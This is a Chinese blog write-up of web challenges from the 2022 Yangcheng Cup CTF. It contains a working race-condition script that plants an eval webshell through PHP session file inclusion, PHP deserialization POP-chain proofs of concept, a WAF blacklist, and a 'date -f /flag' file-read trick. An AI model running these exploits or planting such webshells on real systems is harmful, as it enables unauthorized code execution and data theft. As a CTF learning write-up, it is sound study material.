2022_羊城杯(部分web)

rce_me

<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
   $blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
     foreach($blacklist as $blackword){
      if(stristr($var, $blackword)) return False;
  }
  return True;
} 
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}

这题可以利用session文件包含来解,与2021年第五空间的EasyCleanup类似。贴个脚本:

import io
import sys
import requests
import threading
​
host = ''
sessid = 'aa'
​
​
def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php @eval($_POST['cmd']);echo md5('1');?>"},
            files={"file": ('a.txt', f)},
            cookies={'PHPSESSID': sessid},
        )
​
​
def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess%5F{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            break
​
​
with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session,))
    t1.daemon = True
    t1.start()
    READ(session)

蚁剑连接:/tem/sess_aa

连接到后发现没有权限读取flag,需要提权。蚁剑打开终端发现无法执行命令后来发现tem目录下的执行命令后就会被删除,所以需要自己创一个后门再连接

date -f /flag

获取flag。

后面看了其他人的wp,发现还有好几种方法做这道题,我这算是比较麻烦的了

比赛结束后就关闭环境了这里就简述下其他方法:

way2:(来自天权战队的wp)

利用pearcmd远程下载一句话木马,URL编码绕过waf

 

way3:

利用php://filter协议

hxp CTF 2021 - The End Of LFI? - 跳跳糖

way4:(来自Arr3stY0u战队的wp)

/1

此方法最简单,公共靶机,应该是发现了别人留下的后门。

step_by_step-v3

题目源码:

<?php
error_reporting(0);
class yang
{
    public $y1;
​
    public function __construct()
    {
        $this->y1->magic();
    }
​
    public function __tostring()  
    {
        ($this->y1)();
    }
​
    public function hint()
    {
        include_once('hint.php');
        if(isset($_GET['file']))
        {
            $file = $_GET['file'];
            if(preg_match("/$hey_mean_then/is", $file))
            {
                die("nonono");
            }
            include_once($file);
        }
    }
}
​
class cheng
{
    public $c1;
​
    public function __wakeup()
    {
        $this->c1->flag = 'flag';
    }
​
    public function __invoke() 
    {
        $this->c1->hint();
    }
}
​
class bei
{
    public $b1;
    public $b2;
​
    public function __set($k1,$k2)   
    {
        print $this->b1;
    }
​
    public function __call($n1,$n2)     
    {
        echo $this->b1;
    }
}
​
if (isset($_POST['ans'])) {
    unserialize($_POST['ans']);
} else {
    highlight_file(__FILE__);
}
?>

简单分析下代码:

  ($this->y1)();

这是关键,我们可以控制他来执行函数。所以想办法调用到这。代码不算复杂,可以轻松分析到一条利用链:

反序列化触发cheng::__weakeup,其中$c1可控。使得$c1=new bei(),其中不存在flag变量。从而触发bei::__set->yang,其中$b1可控,$b1= new yang(),当作字符输出触发yang::__tostring。最后给可控变量$y1赋值phpinfo达到代码执行

cheng::__weakeup->bei::__set->yang::__tostring-> phpinfo();

poc:

<?php
​
class yang{
    public $y1;
}
​
class cheng{
    public $c1;
}
​
class bei{
    public $b1;
    public $b2;
}
​
​
$a = new yang();
$b = new cheng();
$c = new bei();
​
$a->y1="phpinfo";
$b->c1  = $c;
$c->b1=$a;
​
echo serialize($b);
​

Safepop

强制GC,做过的原题,变量都没改。直接上poc

(1条消息) 利用PHP垃圾回收机制构造POP链Tajang的博客-CSDN博客php pop链

<?php
class Fun{
    private $func;
    public function __construct(){
    $this->func = [new Test,'getFlag'];//也可以写为$this->func = "Test::getFlag";这样由于没有实例化Test类,还不会触发Test里的__wakeup()
    }
}
​
class Test{
    public function getFlag(){
    }
}
​
class A{
    public $a;
}
​
class B{
    public $p;
}
​
$Test = new Test;
$Fun = new Fun;
$a = new A;
$b = new B;
$a->a = $Fun;
$b->a = $a;
​
$r = serialize($b);
$r1 = str_replace('"Fun":1:','"Fun":2:',$r);
echo urlencode($r1);
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值